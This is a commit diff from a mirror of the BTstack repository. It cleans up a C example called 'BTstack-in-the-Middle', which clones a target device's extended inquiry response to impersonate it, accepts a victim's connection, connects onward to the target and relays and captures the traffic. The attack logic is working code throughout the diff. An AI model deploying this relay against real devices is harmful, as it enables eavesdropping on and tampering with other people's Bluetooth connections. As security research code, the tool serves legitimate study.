mirror of
https://github.com/bluekitchen/btstack.git
synced 2025-03-25 16:43:28 +00:00
cleaned up code and program output, identify alice and bob by their BD_ADDR
This commit is contained in:
parent
9edc874259
commit
bbed6963f5
@ -15,19 +15,20 @@
|
||||
|
||||
#define EIR_LEN 240
|
||||
|
||||
bd_addr_t addr;
|
||||
bd_addr_t temp_addr;
|
||||
|
||||
uint8_t got_EIR = 0;
|
||||
uint8_t bob_EIR[EIR_LEN];
|
||||
// there is the target: BOB
|
||||
bd_addr_t bob_addr;
|
||||
uint8_t bob_EIR[EIR_LEN];
|
||||
hci_con_handle_t bob_handle = 0;
|
||||
uint16_t bob_clock_offset;
|
||||
uint8_t bob_page_scan_repetition_mode;
|
||||
uint8_t bob_got_EIR = 0;
|
||||
|
||||
// here's ALICE who wants to talk to BOB
|
||||
hci_con_handle_t alice_handle = 0;
|
||||
uint16_t clock_offset;
|
||||
uint8_t page_scan_repetition_mode;
|
||||
|
||||
//
|
||||
bd_addr_t temp_addr;
|
||||
uint8_t inquiry_done = 0;
|
||||
hci_con_handle_t con_handle;
|
||||
uint16_t source_cid_interrupt;
|
||||
uint16_t source_cid_control;
|
||||
|
||||
void data_handler(uint8_t *packet, uint16_t size){
|
||||
hci_con_handle_t in = READ_ACL_CONNECTION_HANDLE(packet);
|
||||
@ -80,17 +81,17 @@ void event_handler(uint8_t *packet, uint16_t size){
|
||||
// enable capure
|
||||
bt_send_cmd(&btstack_set_acl_capture_mode, 1);
|
||||
|
||||
printf("Starting inquiry to get EIR from BOB\n");
|
||||
printf("1. Started inquiry.\n");
|
||||
bt_send_cmd(&hci_inquiry, HCI_INQUIRY_LAP, 15, 0);
|
||||
}
|
||||
|
||||
// process EIR responses
|
||||
if (packet[0] == HCI_EVENT_EXTENDED_INQUIRY_RESPONSE && packet[17] && !got_EIR) {
|
||||
printf("Got EIR from BOB\n");
|
||||
if (packet[0] == HCI_EVENT_EXTENDED_INQUIRY_RESPONSE && packet[17] && !bob_got_EIR) {
|
||||
printf("2. Got BOB's EIR.\n");
|
||||
memcpy(bob_EIR, &packet[17], EIR_LEN);
|
||||
got_EIR = 1;
|
||||
clock_offset = READ_BT_16(packet, 14);
|
||||
page_scan_repetition_mode = packet[9];
|
||||
bob_got_EIR = 1;
|
||||
bob_clock_offset = READ_BT_16(packet, 14);
|
||||
bob_page_scan_repetition_mode = packet[9];
|
||||
// stop inquiry
|
||||
bt_send_cmd(&hci_inquiry_cancel);
|
||||
}
|
||||
@ -99,46 +100,51 @@ void event_handler(uint8_t *packet, uint16_t size){
|
||||
if (packet[0] == HCI_EVENT_INQUIRY_COMPLETE || COMMAND_COMPLETE_EVENT(packet, hci_inquiry_cancel)){
|
||||
if (!inquiry_done){
|
||||
inquiry_done = 1;
|
||||
printf("Inquiry Complete, got EIR %u\n", got_EIR);
|
||||
if (got_EIR){
|
||||
printf("Set own EIR to Bob's.\n");
|
||||
printf("3. Inquiry Complete\n", bob_got_EIR);
|
||||
if (bob_got_EIR){
|
||||
printf("4. Set own EIR to Bob's.\n");
|
||||
bt_send_cmd(&hci_write_extended_inquiry_response, 0, bob_EIR);
|
||||
} else {
|
||||
// failed to get BOB's EIR
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Connect to BOB
|
||||
if ( COMMAND_COMPLETE_EVENT(packet, hci_write_extended_inquiry_response) ) {
|
||||
printf("Now start Alice!...\n");
|
||||
printf("5. Waiting for Alice!...\n");
|
||||
// bt_send_cmd(&hci_create_connection, &addr, 0x18, page_scan_repetition_mode, 0, 0x8000 || clock_offset, 0);
|
||||
}
|
||||
|
||||
// accept incoming connections
|
||||
if (packet[0] == HCI_EVENT_CONNECTION_REQUEST){
|
||||
printf("Connection request from ");
|
||||
printf("-> Connection request from ");
|
||||
bt_flip_addr(temp_addr, &packet[2]);
|
||||
print_bd_addr(temp_addr);
|
||||
printf("\n");
|
||||
printf(", sending accept.\n");
|
||||
bt_send_cmd(&hci_accept_connection_request, &temp_addr, 1);
|
||||
}
|
||||
|
||||
// handle connections
|
||||
if (packet[0] == HCI_EVENT_CONNECTION_COMPLETE) {
|
||||
bt_flip_addr(temp_addr, &packet[5]);
|
||||
if (packet[2] == 0){
|
||||
if (!alice_handle) {
|
||||
alice_handle = READ_BT_16(packet, 3);
|
||||
printf("Alice connected (handle %u). Connecting BOB!\n", alice_handle);
|
||||
bt_send_cmd(&hci_create_connection, &addr, 0x18, page_scan_repetition_mode, 0, 0x8000 || clock_offset, 0);
|
||||
hci_con_handle_t incoming_handle = READ_BT_16(packet, 3);
|
||||
if (BD_ADDR_CMP(temp_addr, bob_addr)){
|
||||
bob_handle = incoming_handle;
|
||||
printf("7. Connected to BOB (handle %u). Relaying data!\n", bob_handle);
|
||||
} else {
|
||||
bob_handle = READ_BT_16(packet, 3);
|
||||
printf("Connected to BOB (handle %u). Relayaing data!\n", bob_handle);
|
||||
alice_handle = incoming_handle;
|
||||
printf("6. Alice connected (handle %u). Connecting to BOB.\n", alice_handle);
|
||||
bt_send_cmd(&hci_create_connection, &bob_addr, 0x18, bob_page_scan_repetition_mode, 0, 0x8000 || bob_clock_offset, 0);
|
||||
}
|
||||
} else {
|
||||
printf("Connection complete status %u\n", packet[2]);
|
||||
printf("Connection complete status %u for connection", packet[2]);
|
||||
print_bd_addr(temp_addr);
|
||||
printf("\n");
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
// inform about pin code request
|
||||
if (packet[0] == HCI_EVENT_PIN_CODE_REQUEST){
|
||||
printf("Please enter PIN 1234 on remote device\n");
|
||||
@ -155,7 +161,7 @@ int main (int argc, const char * argv[]){
|
||||
// parse addr of Bob
|
||||
uint8_t ok = 0;
|
||||
if (argc >= 2) {
|
||||
ok = sscan_bd_addr((uint8_t *) argv[1], addr);
|
||||
ok = sscan_bd_addr((uint8_t *) argv[1], bob_addr);
|
||||
}
|
||||
if (!ok) {
|
||||
printf("Usage: mitm 12:34:56:78:9A:BC\n");
|
||||
@ -170,7 +176,7 @@ int main (int argc, const char * argv[]){
|
||||
}
|
||||
|
||||
printf("BTstack-in-the-Middle started, will pretend to be BOB (");
|
||||
print_bd_addr(addr);
|
||||
print_bd_addr(bob_addr);
|
||||
printf(")\n");
|
||||
|
||||
bt_register_event_packet_handler(event_handler);
|
||||
|
Loading…
x
Reference in New Issue
Block a user